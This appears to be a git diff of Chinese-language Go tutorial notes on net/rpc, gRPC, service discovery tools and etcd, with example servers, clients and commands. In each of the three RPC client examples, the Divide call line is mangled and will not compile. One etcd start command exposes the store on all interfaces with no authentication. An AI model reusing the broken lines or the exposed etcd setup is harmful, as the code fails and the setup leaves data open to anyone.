Go标准包中已经提供了对RPC的支持,而且支持三个级别的RPC:TCP、HTTP、JSONRPC。但Go的RPC它只支持Go开发的服务器与客户端之间的交互,因为在内部,它们采用了Gob来编码。
|
||||
|
||||
Go RPC的函数只有符合下面的条件才能被远程访问,不然会被忽略,详细的要求如下:
|
||||
- 函数必须是导出的(首字母大写)
|
||||
- 必须有两个导出类型的参数,
|
||||
- 第一个参数是接收的参数,第二个参数是返回给客户端的参数,第二个参数必须是指针类型的
|
||||
- 函数还要有一个返回值error
|
||||
|
||||
举个例子,正确的RPC函数格式如下:
|
||||
```go
|
||||
func (t *T) MethodName(argType T1, replyType *T2) error // T、T1和T2类型必须能被`encoding/gob`包编解码。
|
||||
```
|
||||
|
||||
任何的RPC都需要通过网络来传递数据,Go RPC可以利用HTTP和TCP来传递数据,利用HTTP的好处是可以直接复用`net/http`里面的一些函数。
|
||||
|
||||
## 二 HTTP RPC
|
||||
|
||||
#### 2.1 http rpc 服务端
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/rpc"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
type Arith int
|
||||
|
||||
func (t *Arith) Multiply(args *Args, reply *int) error {
|
||||
*reply = args.A * args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Arith) Divide(args *Args, quo *Quotient) error {
|
||||
if args.B == 0 {
|
||||
return errors.New("divide by zero")
|
||||
}
|
||||
quo.Quo = args.A / args.B
|
||||
quo.Rem = args.A % args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
arith := new(Arith)
|
||||
rpc.Register(arith)
|
||||
rpc.HandleHTTP()
|
||||
|
||||
err := http.ListenAndServe(":1234", nil)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
在上述案例中:注册了一个Arith的RPC服务,然后通过`rpc.HandleHTTP`函数把该服务注册到了HTTP协议上,此后可以利用http的方式来传递数据了。
|
||||
|
||||
#### 2.2 http rpc 客户端
|
||||
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/rpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Println("Usage: ", os.Args[0], "server")
|
||||
os.Exit(1)
|
||||
}
|
||||
serverAddress := os.Args[1]
|
||||
|
||||
client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
|
||||
if err != nil {
|
||||
log.Fatal("dialing:", err)
|
||||
}
|
||||
// Synchronous call
|
||||
args := Args{17, 8}
|
||||
var reply int
|
||||
err = client.Call("Arith.Multiply", args, &reply)
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
|
||||
|
||||
var quot Quotient
|
||||
err = client.Call("Arith.Divide", args, ")
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
通过上面的调用可以看到参数和返回值是我们定义的struct类型,在服务端我们把它们当做调用函数的参数的类型,在客户端作为`client.Call`的第2,3两个参数的类型。客户端最重要的就是这个Call函数,它有3个参数,第1个要调用的函数的名字,第2个是要传递的参数,第3个要返回的参数(注意是指针类型),通过上面的代码例子我们可以发现,使用Go的RPC实现相当方便。
|
||||
|
||||
## 三 TCP RPC
|
||||
|
||||
基于TCP协议的RPC,服务端的实现代码如下所示:
|
||||
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/rpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
type Arith int
|
||||
|
||||
func (t *Arith) Multiply(args *Args, reply *int) error {
|
||||
*reply = args.A * args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Arith) Divide(args *Args, quo *Quotient) error {
|
||||
if args.B == 0 {
|
||||
return errors.New("divide by zero")
|
||||
}
|
||||
quo.Quo = args.A / args.B
|
||||
quo.Rem = args.A % args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
arith := new(Arith)
|
||||
rpc.Register(arith)
|
||||
|
||||
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
|
||||
checkError(err)
|
||||
|
||||
listener, err := net.ListenTCP("tcp", tcpAddr)
|
||||
checkError(err)
|
||||
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
rpc.ServeConn(conn)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
fmt.Println("Fatal error ", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
上面这个代码和http的服务器相比,采用了TCP协议,然后需要自己控制连接,当有客户端连接上来后,我们需要把这个连接交给rpc来处理。
|
||||
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/rpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Println("Usage: ", os.Args[0], "server:port")
|
||||
os.Exit(1)
|
||||
}
|
||||
service := os.Args[1]
|
||||
|
||||
client, err := rpc.Dial("tcp", service)
|
||||
if err != nil {
|
||||
log.Fatal("dialing:", err)
|
||||
}
|
||||
// Synchronous call
|
||||
args := Args{17, 8}
|
||||
var reply int
|
||||
err = client.Call("Arith.Multiply", args, &reply)
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
|
||||
|
||||
var quot Quotient
|
||||
err = client.Call("Arith.Divide", args, ")
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
这个客户端代码和http的客户端代码对比,唯一的区别一个是DialHTTP,一个是Dial(tcp),其他处理一模一样。
|
||||
|
||||
## 四 JSON RPC
|
||||
|
||||
JSON RPC是数据编码采用了JSON,而不是gob编码,其他和上面介绍的RPC概念一模一样,服务端实现如下:
|
||||
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/rpc"
|
||||
"net/rpc/jsonrpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
type Arith int
|
||||
|
||||
func (t *Arith) Multiply(args *Args, reply *int) error {
|
||||
*reply = args.A * args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Arith) Divide(args *Args, quo *Quotient) error {
|
||||
if args.B == 0 {
|
||||
return errors.New("divide by zero")
|
||||
}
|
||||
quo.Quo = args.A / args.B
|
||||
quo.Rem = args.A % args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
arith := new(Arith)
|
||||
rpc.Register(arith)
|
||||
|
||||
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
|
||||
checkError(err)
|
||||
|
||||
listener, err := net.ListenTCP("tcp", tcpAddr)
|
||||
checkError(err)
|
||||
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
jsonrpc.ServeConn(conn)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
fmt.Println("Fatal error ", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
通过示例我们可以看出 json-rpc是基于TCP协议实现的,目前它还不支持HTTP方式。
|
||||
|
||||
请看客户端的实现代码:
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/rpc/jsonrpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Println("Usage: ", os.Args[0], "server:port")
|
||||
log.Fatal(1)
|
||||
}
|
||||
service := os.Args[1]
|
||||
|
||||
client, err := jsonrpc.Dial("tcp", service)
|
||||
if err != nil {
|
||||
log.Fatal("dialing:", err)
|
||||
}
|
||||
// Synchronous call
|
||||
args := Args{17, 8}
|
||||
var reply int
|
||||
err = client.Call("Arith.Multiply", args, &reply)
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
|
||||
|
||||
var quot Quotient
|
||||
err = client.Call("Arith.Divide", args, ")
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
|
||||
|
||||
}
|
||||
```
|
179
06-微服务/03-rpc-3-grpc与go实现.md
Normal file
179
06-微服务/03-rpc-3-grpc与go实现.md
Normal file
@ -0,0 +1,179 @@
|
||||
## 一 grpc
|
||||
|
||||
#### 1.1 grpc概念
|
||||
|
||||
grpc是Google开源的rpc实现,基于最新的HTTP2.0协议,并支持常见的众多编程语言。
|
||||
|
||||
与许多RPC系统类似,gRPC里客户端应用可以像调用本地对象一样直接调用另一台不同的机器上服务端应用的方法,使得开发者能够更容易地创建分布式应用和服务。
|
||||
|
||||
gRPC理念:
|
||||
- 定义一个服务,指定其能够被远程调用的方法(包含参数和返回类型)。
|
||||
- 在服务端实现这个接口,并运行一个gRPC服务器来处理客户端调用。
|
||||
|
||||
gRPC客户端和服务端可以在多种环境中运行和交互,并且可以用任何 gRPC 支持的语言来编写。所以,开发者可以很容易地用 Java 创建一个 gRPC 服务端,用 Go、 Python、Ruby来创建客户端。
|
||||
|
||||
#### 1.2 GRPC 与 protocol buffers
|
||||
|
||||
gRPC默认使用protoBuf,这是 Google 开源的一套成熟的结构数据序列化机制(当然也可以使用其他数据格式如 JSON )。
|
||||
|
||||
## 二 go搭建 grpc helloworld
|
||||
|
||||
#### 2.0 项目结构
|
||||
|
||||
![](../images/go/rpc-02.png)
|
||||
|
||||
#### 2.1 设置proto文件
|
||||
|
||||
创建文件:server/protoes/hello.proto server是go mod的模块名
|
||||
```
|
||||
syntax = "proto3";
|
||||
|
||||
package protoes;
|
||||
|
||||
service HelloServer{
|
||||
rpc SayHi(HelloRequest)returns(HelloReplay){}
|
||||
rpc GetMsg(HelloRequest)returns(HelloMessage){}
|
||||
}
|
||||
|
||||
message HelloRequest{
|
||||
string name = 1 ;
|
||||
}
|
||||
|
||||
message HelloReplay{
|
||||
string message = 1;
|
||||
}
|
||||
|
||||
message HelloMessage{
|
||||
string msg = 1;
|
||||
}
|
||||
```
|
||||
|
||||
在protoes文件所在的文件夹输入下面命令,生产pb.go文件:
|
||||
```
|
||||
protoc --go_out=plugins=grpc:. *.proto
|
||||
```
|
||||
|
||||
#### 2.1 服务端
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"context"
|
||||
"google.golang.org/grpc"
|
||||
"net"
|
||||
pb "test/protoes"
|
||||
)
|
||||
|
||||
// 对象要和proto内定义的服务一致
|
||||
type server struct{
|
||||
|
||||
}
|
||||
|
||||
// 实现rpc的 SayHi接口
|
||||
func(s *server)SayHi(ctx context.Context, in *pb.HelloRequest) (*pb.HelloReplay, error){
|
||||
return &pb.HelloReplay{
|
||||
Message: "Hi " + in.Name,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 实现rpc的 GetMsg接口
|
||||
func(s *server)GetMsg(ctx context.Context, in *pb.HelloRequest) (*pb.HelloMessage, error){
|
||||
return &pb.HelloMessage{
|
||||
Msg: "Server msg is coming...",
|
||||
}, nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 监听网络
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:3000")
|
||||
if err != nil {
|
||||
fmt.Println("网络异常:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 创建grpc句柄
|
||||
srv := grpc.NewServer()
|
||||
|
||||
// 将server结构体注册到grpc服务中
|
||||
pb.RegisterHelloServerServer(srv, &server{})
|
||||
|
||||
// 监听服务
|
||||
err = srv.Serve(ln)
|
||||
if err != nil {
|
||||
fmt.Println("监听异常:", err)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
#### 2.2 客户端
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"context"
|
||||
"google.golang.org/grpc"
|
||||
pb "test/protoes"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
// 客户端连接服务器
|
||||
conn,err := grpc.Dial("127.0.0.1:3000", grpc.WithInsecure())
|
||||
if err != nil {
|
||||
fmt.Println("连接服务器失败",err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 获得grpc句柄
|
||||
c := pb.NewHelloServerClient(conn)
|
||||
|
||||
// 远程单调用 SayHi 接口
|
||||
r1, err := c.SayHi(
|
||||
context.Background(),
|
||||
&pb.HelloRequest{
|
||||
Name: "Kitty",
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
fmt.Println("Can not get SayHi:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("SayHi 响应:", r1)
|
||||
|
||||
// 远程单调用 GetMsg 接口
|
||||
r2, err := c.GetMsg(
|
||||
context.Background(),
|
||||
&pb.HelloRequest{
|
||||
Name: "Kitty",
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
fmt.Println("Can not get GetMsg:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("GetMsg 响应:", r2)
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
#### 2.3 测试
|
||||
|
||||
依次进入server与client文件夹,执行:
|
||||
```
|
||||
go run server.go
|
||||
go run client.go
|
||||
```
|
||||
客户端输出结果:
|
||||
```
|
||||
SayHi 响应: message:"Hi Kitty"
|
||||
GetMsg 响应: msg:"Server msg is coming..."
|
||||
```
|
88
06-微服务/04-服务发现.md
Normal file
88
06-微服务/04-服务发现.md
Normal file
@ -0,0 +1,88 @@
|
||||
## 一 服务发现
|
||||
|
||||
#### 1.1 服务发现出现的缘由
|
||||
|
||||
因为一套微服务架构中有很多个服务需要管理,管理几百个服务所使用的端口列表是一大挑战,我们应该部署无需指定端口的服务,并让Docker为我们分配一个随机端口。
|
||||
那么问题就演变成了我们需要发现端口号,让别人知道。为了能够定位服务,需要下面2个步骤:
|
||||
- 服务注册:该步骤存储的信息至少包括正在运行的服务的主机和端口信息
|
||||
- 服务发现:该步骤允许其他用户可以发现在服务注册阶段存储的信息。
|
||||
|
||||
|
||||
微服务的框架体系中,服务发现是不能不提的一个模块。客户端的一个接口需要调用多个服务,客户端必须知道所有服务的网络位置,以往的做法是使用配置文件,或者配置在数据库中,这就出现了一些问题:
|
||||
- 需要配置N个服务的网络位置,加大配置的复杂性
|
||||
- 服务的网络位置变化,都需要改变每个调用者的配置
|
||||
- 集群的情况下,难以做负载(反向代理的方式除外)
|
||||
|
||||
有了服务发现模块,多个微服务把当前自己的网络位置注册 到服务发现模块(这里注册的意思就是告诉),服务发现就以K-V的方式记录下,K一般是服务名,V就是 IP:PORT。服务发现模块定时的轮询查看这些服务能不能访问的了(这就是健康检查)。客户端在调用服务A-N的 时候,就跑去服务发现模块问下它们的网络位置,然后再调用它们的服务。
|
||||
|
||||
客户端完全不需要记录这些服务网络位置,客户端和服务端完全解耦!
|
||||
|
||||
#### 1.2 需要额外考虑的地方
|
||||
|
||||
如果一个服务停止工作并部署/注册了一个新的服务实例,那么该服务是否应该注销呢?当有相同服务的多个副本时咋办?我们该如何做负载均衡呢?如果一个服务器宕机了咋办?所有这些问题都与注册和发现阶段紧密关联。现在,我们限定只在服务发现的范围里(常见的名字,围绕上述步骤)以及用于服务发现任务的工具,它们中的大多数采用了高可用的分布式键/值存储,这就是服务发现工具需要实现的功能。
|
||||
|
||||
#### 1.3 服务发现工具
|
||||
|
||||
服务发现背后的基本思想是对于服务的每一个新实例(或应用程序),能够识别当前环境和存储相关信息。存储的注册表信息本身通常采用键/值对的格式,由于服务发现经常用于分布式系统,所以要求这些信息可伸缩、支持容错和分布式集群中的所有节点。这种存储的主要用途是给所有感兴趣的各方提供最起码诸如服务IP地址和端口这样的信息,用于它们之间的相互通讯,这些数据还经常扩展到其它类型的信息服务发现工具倾向于提供某种形式的API,用于服务自身的注册以及服务信息的查找。
|
||||
|
||||
比方说我们有两个服务,一个是提供方,另一个是第一个服务的消费者,一旦部署了服务提供方,就需要在服务发现注册表中存储其信息。接着,当消费者试图访问服务提供者时,它首先查询服务注册表,使用获取到的IP地址和端口来调用服务提供者。为了与注册表中的服务提供方的具体实现解耦,我们常常采用某种代理服务。这样消费者总是向固定IP地址的代理请求信息,代理再依次使用服务发现来查找服务提供方信息并重定向请求,在本文中我们稍后通过反向代理来实现。现在重要的是要理解基于三种角色(服务消费者、提供者和代理)的服务发现流程。
|
||||
|
||||
服务发现工具要查找的是数据,至少我们应该能够找出服务在哪里?服务是否健康和可用?配置是什么样的?既然我们正在多台服务器上构建一个分布式系统,那么该工具需要足够健壮,保证其中一个节点的宕机不会危及数据,同时,每个节点应该有完全相同的数据副本,进一步地,我们希望能够以任何顺序启动服务、杀死服务或者替换服务的新版本,我们还应该能够重新配置服务并且查看到数据相应的变化。
|
||||
|
||||
## 二 常用的服务发现技术
|
||||
|
||||
#### 2.0 常见服务发现技术列表
|
||||
|
||||
- zookeeper:历史最悠久,起源于Hadoop,成熟、健壮、生态丰富,已经被大量公司使用。但是其过于复杂、重量级,后续诞生了许多替代品
|
||||
- etcd:是一个采用http协议的jkv存储系统,搭配第三方工具后可以提供服务发现功能:Registrator、Confd
|
||||
- Eureka:
|
||||
- consul:
|
||||
|
||||
|
||||
特点对比:
|
||||
![](../images/go/micro-01.png)
|
||||
|
||||
|
||||
#### 2.1 健康检查对比
|
||||
|
||||
- consul:非常详细,如检查内存占用是否到达90%、文件系统空间是否不足
|
||||
- Zookeeper、etcd在失去了和服务进程连接的情况下任务不健康
|
||||
- Euraka需要显式配置健康检查
|
||||
|
||||
|
||||
#### 2.2 多数据中心支持对比
|
||||
|
||||
- consul:使用WAN的Gossip协议,完成了跨数据中心同步,其他产品则需要额外开发工具链
|
||||
|
||||
#### 2.3 CAP理论取舍对比
|
||||
|
||||
- consul、Eureka:典型的AP,适合分布式服务,服务发现的可用性优先级较高,consul更能提供更高的可用性、保证KV stor的一致性
|
||||
- zookeeper、etcd:CP类型,牺牲可用性,在服务发现场景优势较弱
|
||||
|
||||
#### 2.4 kv支持对比
|
||||
|
||||
只有Eureka不支持。
|
||||
|
||||
#### 2.5 跨语言支持对比
|
||||
|
||||
- consul:支持http1.1接入,还支持标准的REST服务api,还提供了DNS支持
|
||||
- etc:支持http1.1接入,还支持grpc
|
||||
- Zookeeper:跨语言支持较弱
|
||||
- Euraka:一般通过sidecar的方式提供多语言客户端接入支持
|
||||
|
||||
#### 2.6 watch支持对比(客户端观察到服务提供者变化)
|
||||
|
||||
- consul:使用长轮询方式实现变化感知
|
||||
- etcd:使用长轮询方式实现变化感知
|
||||
- Zookeeper:支持服务端推送变化
|
||||
- Eureka:1.0版本使用长轮询方式实现变化感知,2.0版本计划支持服务端推送变化
|
||||
|
||||
#### 2.7 自身集群监控
|
||||
|
||||
除了Zookeeper,其他都默认支持metrics,可以搜集并报警这些度量信息达到监控目的
|
||||
|
||||
#### 2.8 其他
|
||||
|
||||
Java著名微服务架构体系SpringCloud对上述四者都提供了集成,但对Consul支持较为完善。
|
||||
|
||||
参考地址:http://dockone.io/article/667
|
95
06-微服务/05-etcd-1-etcd概述.md
Normal file
95
06-微服务/05-etcd-1-etcd概述.md
Normal file
@ -0,0 +1,95 @@
|
||||
## 一 etcd简介
|
||||
|
||||
#### 1.1 etcd是什么
|
||||
|
||||
etcd是一个分布式KV存储库,内部采用Raft协议作为一致性算法选举leader,同步key-value,其特性是:高可用,强一致。
|
||||
|
||||
集群一般采取大多数模型(quorum)来选举leader,即集群需要2N+1个节点,这时总能产生1个leader,多个follower。etcd也不例外,每个etcd cluster都由若干个member组成,每个member是一个独立运行的etcd实例,单机上也可以运行多个member。
|
||||
|
||||
在正常运行的状态下,集群中会有一个 leader,其余的 member 都是 followers。leader 向 followers 同步日志,保证数据在各个 member 都有副本。leader 还会定时向所有的 member 发送心跳报文,如果在规定的时间里 follower 没有收到心跳,就会重新进行选举。客户端所有的请求都会先发送给 leader,leader 向所有的 followers 同步日志,等收到超过半数的确认后就把该日志存储到磁盘,并返回响应客户端。
|
||||
|
||||
每个 etcd 服务有三大主要部分组成:
|
||||
- raft 实现
|
||||
- WAL 日志存储:在本地磁盘(--data-dir)上存储日志内容(wal file)和快照(snapshot)
|
||||
- 数据的存储和索引
|
||||
|
||||
etcd调用阶段:
|
||||
- 阶段1:调用者调用leader,leader会将kv数据存储在日志中,并利用实时算法raft进行复制
|
||||
- 阶段2:当复制给了N+1个节点后,本地提交,返回给客户端,最后leader异步通知follower完成通知
|
||||
|
||||
注意:日志只要复制给了大多数就不会丢。
|
||||
|
||||
raft日志概念:
|
||||
- replication:日志在leader生成,向follower复制,最终达到各个节点日志序列一致
|
||||
- term:任期,重新选举产生的leader,其term单调递增
|
||||
- log index:日志行在日志序列的下标
|
||||
|
||||
|
||||
## 二 etcd安装
|
||||
|
||||
### 2.1 Linux安装
|
||||
|
||||
启动
|
||||
```
|
||||
## 启动:强制其监听在公网端口
|
||||
nohup ./etcd --listen-client-urls 'http://0.0.0.0:2379' --advertise-client-urls 'http://0.0.0.0:2379' &
|
||||
|
||||
## 查看日志,确认etcd是否启动成功
|
||||
less nohup.out
|
||||
```
|
||||
|
||||
|
||||
### 2.2 Mac安装
|
||||
|
||||
安装etcd:
|
||||
```
|
||||
brew search etcd
|
||||
brew install etcd
|
||||
```
|
||||
|
||||
运行:
|
||||
```
|
||||
etcd
|
||||
```
|
||||
|
||||
### 2.3 启动后的一些默认显示
|
||||
|
||||
在启动etcd后,会显示一些配置信息:
|
||||
- etcdserver: name = default name表示节点名称,默认为default
|
||||
- data-dir:保存日志和快照的目录,默认为当前工作目录default.etcd/
|
||||
- 通信相关:
|
||||
- 在http://localhost:2380和集群中其他节点通信
|
||||
- 在http://localhost:2379提供HTTP API服务,供客户端交互。等会配置webui就是这个地址
|
||||
- etcdserver: heartbeat = 100ms leader发送心跳到followers的间隔时间
|
||||
- etcdserver: election = 1000ms 重新投票的超时时间,如果follow在该时间间隔没有收到心跳包,会触发重新投票,默认为1000ms
|
||||
|
||||
### 2.4 etcd webui
|
||||
|
||||
这里使用了一个nodejs开发的web:
|
||||
```
|
||||
git clone https://github.com/henszey/etcd-browser.git
|
||||
cd etcd-browser/
|
||||
vim server.js
|
||||
|
||||
var etcdHost = process.env.ETCD_HOST || '127.0.0.1'; # etcd 主机IP
|
||||
var etcdPort = process.env.ETCD_PORT || 4001; # etcd 主机端口
|
||||
var serverPort = process.env.SERVER_PORT || 8000; # etcd-browser 监听端口
|
||||
|
||||
# 启动
|
||||
node server.js
|
||||
```
|
||||
|
||||
## 三 etcd客户端操作
|
||||
|
||||
常用命令:
|
||||
```
|
||||
ETCDCTL_API=3 ./etcdctl # 查看所有命令
|
||||
ETCDCTL_API=3 ./etcdctl put "hello" "world"
|
||||
ETCDCTL_API=3 ./etcdctl get "hello"
|
||||
|
||||
# 顺序存储的键可以使用前缀模糊查询
|
||||
ETCDCTL_API=3 ./etcdctl put "/users/user1" "zs"
|
||||
ETCDCTL_API=3 ./etcdctl put "/users/user2" "ls"
|
||||
ETCDCTL_API=3 ./etcdctl get "/users/" --prefix # 查询全部该前缀
|
||||
ETCDCTL_API=3 ./etcdctl watch "/users/" --prefix # 监听该前缀数据变化,此时另起命令行操作数据,则当前命令行能监听到
|
||||
```
|
18
06-微服务/05-etcd-2-etcd与服务发现.md
Normal file
18
06-微服务/05-etcd-2-etcd与服务发现.md
Normal file
@ -0,0 +1,18 @@
|
||||
## 一 etcd实现服务发现
|
||||
|
||||
etcd是一个采用HTTP协议的健/值对存储系统,它是一个分布式和功能层次配置系统,可用于构建服务发现系统。对比庞大的conusl和Zookeeper,etcd系统本身极为简单(因为仅仅是一个分布式kv存储),但是他需要搭配一些第三方工具才可以实现服务发现功能。
|
||||
|
||||
现在,我们有一个地方来存储服务相关信息,我们还需要一个工具可以自动发送信息给etcd。但在这之后,为什么我们还需要手动把数据发送给etcd呢?即使我们希望手动将信息发送给etcd,我们通常情况下也不会知道是什么信息。记住这一点,服务可能会被部署到一台运行最少数量容器的服务器上,并且随机分配一个端口。理想情况下,这个工具应该监视所有节点上的Docker容器,并且每当有新容器运行或者现有的一个容器停止的时候更新etcd,其中的一个可以帮助我们达成目标的工具就是Registrator。
|
||||
|
||||
Registrator通过检查容器在线或者停止运行状态自动注册和去注册服务,它目前支持etcd、Consul和SkyDNS 2。
|
||||
|
||||
Registrator与etcd是一个简单但是功能强大的组合,可以运行很多先进的技术。每当我们打开一个容器,所有数据将被存储在etcd并传播到集群中的所有节点。我们将决定什么信息是我们的。
|
||||
|
||||
我们还需要一种方法来创建配置文件,与数据都存储在etcd,通过运行一些命令来创建这些配置文件。
|
||||
|
||||
Confd是一个轻量级的配置管理工具,常见的用法是通过使用存储在etcd、consul和其他一些数据登记处的数据保持配置文件的最新状态,它也可以用来在配置文件改变时重新加载应用程序。换句话说,我们可以用存储在etcd(或者其他注册中心)的信息来重新配置所有服务。
|
||||
|
||||
最后的组合如图所示:
|
||||
![](../images/go/etcd-01.png)
|
||||
|
||||
当etcd、Registrator和Confd结合时,可以获得一个简单而强大的方法来自动化操作我们所有的服务发现和需要的配置。这个组合还展示了“小”工具正确组合的有效性,这三个小东西可以如我们所愿正好完成我们需要达到的目标,若范围稍微小一些,我们将无法完成我们面前的目标,而另一方面如果他们设计时考虑到更大的范围,我们将引入不必要的复杂性和服务器资源开销。
|
133
06-微服务/05-etcd-3-go操作etcd基础.md
Normal file
133
06-微服务/05-etcd-3-go操作etcd基础.md
Normal file
@ -0,0 +1,133 @@
|
||||
## 一 golang对etcd的增删改查
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/etcd-io/etcd/clientv3"
|
||||
"time"
|
||||
)
|
||||
|
||||
func connect() (client *clientv3.Client, err error){
|
||||
|
||||
client, err = clientv3.New(clientv3.Config{
|
||||
// etcd的集群数组,我们这里只有1个
|
||||
Endpoints: []string{"127.0.0.1:2379", "127.0.0.1:22379", "127.0.0.1:32379"},
|
||||
DialTimeout: 5 * time.Second,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Println("connect err:", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return client, err
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 连接
|
||||
cli, err := connect()
|
||||
defer cli.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 获取etcd读写对象
|
||||
kv := clientv3.NewKV(cli)
|
||||
|
||||
// 添加键值对
|
||||
r1, err := kv.Put(context.TODO(), "/lesson/math", "100") // 添加数学课程为100分
|
||||
if err != nil {
|
||||
fmt.Println("put key1 err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 继续添加键值对
|
||||
r2, err := kv.Put(context.TODO(), "/lesson/music", "50") // 添加音乐课程为50分
|
||||
if err != nil {
|
||||
fmt.Println("put key2 err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println("添加结果r1: ", r1) // &{cluster_id:14841639068965178418 member_id:10276657743932975437 revision:9 raft_term:2 <nil>}
|
||||
fmt.Println("添加结果r2: ", r2) // &{cluster_id:14841639068965178418 member_id:10276657743932975437 revision:10 raft_term:2 <nil>}
|
||||
|
||||
// 获取整个 /lesson目录下的数据
|
||||
getAll, err := kv.Get(context.TODO(), "/lesson/", clientv3.WithPrefix())
|
||||
if err != nil {
|
||||
fmt.Println("select all err: ", err)
|
||||
return
|
||||
}
|
||||
// [key:"/lesson/math" create_revision:9 mod_revision:25 version:8 value:"100" key:"/lesson/music" create_revision:26 mod_revision:26 version:1 value:"50" ]
|
||||
fmt.Println("查询所有:", getAll.Kvs)
|
||||
|
||||
// 删除键值对,如果添加参数:clientv3.WithPrevKV(),则delResult结果中包含删除前的结果:PrevKvs
|
||||
